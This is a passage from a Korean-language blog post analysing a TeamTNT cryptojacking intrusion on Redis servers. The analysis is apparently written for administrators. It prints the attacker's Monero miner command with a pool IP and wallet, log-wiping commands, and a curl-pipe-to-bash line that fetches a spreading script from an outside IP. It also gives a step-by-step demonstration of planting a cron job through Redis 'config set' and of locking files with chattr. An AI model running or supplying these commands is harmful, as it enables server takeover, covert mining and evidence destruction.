	-o 80.211.206.105:9000 -u 82etS8...TwpUG4.clean --tls -k --coin monero 
	--background &
else
	echo "root runing....."
fi

7. 관련 기록 지우기

history -c						# history 메모리에서 삭제 
echo > /var/spool/mail/root		# root mail 삭제
echo > /var/log/wtmp			# 성공한 로그인/로그아웃 정보 삭제, last 명령으로 확인
echo > /var/log/secure			# ssh 접속 로그인 인증 기록 삭제
echo > /root/.bash_history		# 실행 명령 로그 삭제,  history 명령으로 확인 
chmod 444 /usr/bin/chattr		# 처음에 777로 변경했던 모드를 444로 변경

8. 주변 서버 감염시키기

is.sh를 다운받아 실해해서 주변 서버를 감염시킨다.

$bbdira -fsSL http://45.133.203.192/cleanfda/is.sh | bash


VII. 해킹 방법 추가 설명

1. 파일 삭제, 변경 불가능하게 만들기: CHATTR, LSATTR

해킹 프로그램에서 파일에 대한 작업 후 항상 chattr 명령으로 파일을 잠급니다.

  • chattr (change attribute): 파일 속성 설정: chattr +/-mode filename
    사용 예) chattr +i filename
  • lsattr (ls attribute): 파일 속성 확인: lsattr filename

i (immutable)모드을 사용하면 쓰기, 삭제, 이름 변경 할 수 없습니다.
일반 user가 이 모드를 걸어놓으면 root도 해당 파일을 삭제, 변경할 수 없습니다.
물론 chattr -i filename으로 잠금해제를 하면 삭제가능합니다.
chattr 명령이 일반적으로 많이 알려져 있지 않으므로 관리자가 이 명령을 모르면 당황하게 됩니다.

아래는 일반 user로 만든 파일을 root도 삭제하지 못하는 경우의 예입니다.

[redis@CentOS8 ~]$ echo 111 > a.txt		-> 파일 생성
[redis@CentOS8 ~]$ cat a.txt
111
[redis@CentOS8 ~]$ sudo chattr +i a.txt	-> 잠금 설정
[redis@CentOS8 ~]$ sudo -i                 		-> root로 변경
[root@CentOS8 ~]# cd /app/redis
[root@CentOS8 redis]# cat a.txt			-> 내용 확인
111
[root@CentOS8 redis]# rm a.txt			-> 삭제 시도
rm: cannot remove 'a.txt': Operation not permitted(명령을 허용하지 않음)
[root@CentOS8 redis]# mv a.txt b.txt		-> 이름 변경 시도
mv: cannot move 'a.txt' to 'b.txt': Operation not permitted(명령을 허용하지 않음)
[root@CentOS8 redis]# echo 222 > a.txt	-> 내용 변경 시도
-bash: a.txt: Operation not permitted(명령을 허용하지 않음)
[root@CentOS8 redis]# lsattr a.txt			-> 속성 확인
----i--------------- a.txt
[root@CentOS8 redis]# chattr -i a.txt		-> 잠금 해제
[root@CentOS8 redis]# 
[root@CentOS8 redis]# lsattr a.txt			-> 속성 확인
-------------------- a.txt
[root@CentOS8 redis]# rm a.txt			-> 삭제 가능
[root@CentOS8 redis]# 

crontab 파일, /root/.ssh/authorized_keys 파일 등도 chattr +i로 잠가 놓으면 수정할 수 없습니다.

2. 레디스 서버에서 crontab에 저장

레디스 명령을 이용해서 crontab에 해킹 프로그램을 다운 받아 실행하도록 저장합니다.
파일 앞, 뒤로 dump 파일의 헤더와 파일 끝 정보 문자들이 있지만 실행되는데는 문제없습니다.
아래와 같이 가능한 모든 crontab에 저장합니다.
    /var/spool/cron/
    /var/spool/cron/crontabs
    /etc/crontab
    /etc/cron.d/

crontab 설정 정의
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * command to be executed
*  *  *  *  * cron_test.sh		매분마다 실행
*/3  *  *  *  * cron_test.sh		3분마다 실행
cron으로 실행할 파일을 만듭니다. 
# vi /app/redis/cron_test.sh
DATE1=`/bin/date +%Y-%m-%d`
DATE2=`/bin/date +%H:%M:%S`
echo cron run - $DATE1 $DATE2 >> /app/redis/cron_test.txt
실행 가능하도록 모드를 변경합니다.
# chmod 755 /app/redis/cron_test.sh

redis-cli를 시작해서 아래 명령들을 입력합니다. 
# redis-cli
> config set stop-writes-on-bgsave-error no
> flushall
> set backup1 "\n\n\n* * * * * /app/redis/cron_test.sh\n\n"
> config set dir "/var/spool/cron/"
> config set dbfilename root
> save 
> exit
파일을 확인합니다.
[root@CentOS8 ~]# ls -l /var/spool/cron/*
-rw-r--r--. 1 root root 145 Jan  5 16:17 /var/spool/cron/root
내용을 보면 파일 앞, 뒤로 dump 파일의 헤더와 파일 끝 정보 문자들이 있지만 실행되는데는 문제없습니다.
[root@CentOS8 ~]# cat /var/spool/cron/root
REDIS0009	redis-ver5.0.8
redis-bits󿿀򳨭¶used-memP
aof-preamble~𡠣kup1& 


* * * * * /app/redis/cron_test.sh

ÿ
 ŚnZC[root@CentOS8 ~]#
crontab -l로 내용을 확인할 수 있습니다. 
[root@CentOS8 ~]# crontab -l
REDIS0009	redis-ver5.0.8
redis-bits󿿀򳨭¶used-memP
aof-preamble~𡠣kup1& 


* * * * * /app/redis/cron_test.sh

ÿ
 ŚnZC[root@CentOS8 cron]#
이후로 매분마다 cron_test.sh파일이 실행되어 cron_test.txt 파일에 내용이 추가됩니다. 
[root@CentOS8 cron]# tail -f /app/redis/cron_test.txt 
cron run - 2023-01-05 16:18:01
cron run - 2023-01-05 16:19:01
cron run - 2023-01-05 16:20:01
cron run - 2023-01-05 16:21:02

3. 암호화폐 모네로(Monero XMR) 채굴에 해킹이 이용되는 이유

  • 모네로는 일반 CPU에서도 채굴 가능.
    비트코인은 ASIC(디지털자산 채굴을 위한 주문형 반도체) 칩을 사용해야 효과적이다.
  • 모네로는 익명성에 중점을 두고 설계되었기 때문에 private key 없이는 송신주소, 수신주소를 알 수 없다.
    익명성이 보장되는 CryptoNote 프로토콜로 송금 증명을 한다. 작업 증명에는 CryptoNight 기법을 사용한다.

4. 해커 집단: TeamTNT

TeamTNT로 알려져 있습니다.   아래는 TeamTNT 관련 글들입니다.

  • www.lacework.com
    TeamTNT는 계속해서 노출된 Docker API를 표적으로 삼고 있습니다.
    레이스워크 연구소 2021년 10월 25일
  • unit42.paloaltonetworks.com
    Black-T: TeamTNT의 새로운 크립토재킹 변종
    AWS 자격 증명 도용 , Crytojacking , 노출된 Docker Daemon API , 메모리 암호 스크래핑
    UNIT42 2020년 10월 5일
  • blog.aquasec.com
    위협 경고: TeamTNT가 돌아왔고 취약한(Vulnerable) Redis 서버를 공격하고 있습니다.
    Aqua 2020년 9월 30일
  • securitynews.sonicwall.com
    크립토재커는 ALIBABA CLOUD를 실행하는 서버를 표적으로 삼습니다.
    2021년 11월 19일
  • blog.alyac.co.kr
    TeamTNT 봇넷, Docker API와 AWS 크리덴셜 훔쳐
    ESTsecurity 2021년 1월 11일

VIII. 해킹 스크립트 소스

1. is.sh

해킹 공격하기 위한 준비 스크립트 - 190줄

2. rs.sh

레디스 서버에 해킹 공격 - 117줄

3. init.sh

암호화폐 채굴 프로그램 실행 - 1030줄


Email 답글이 올라오면 이메일로 알려드리겠습니다.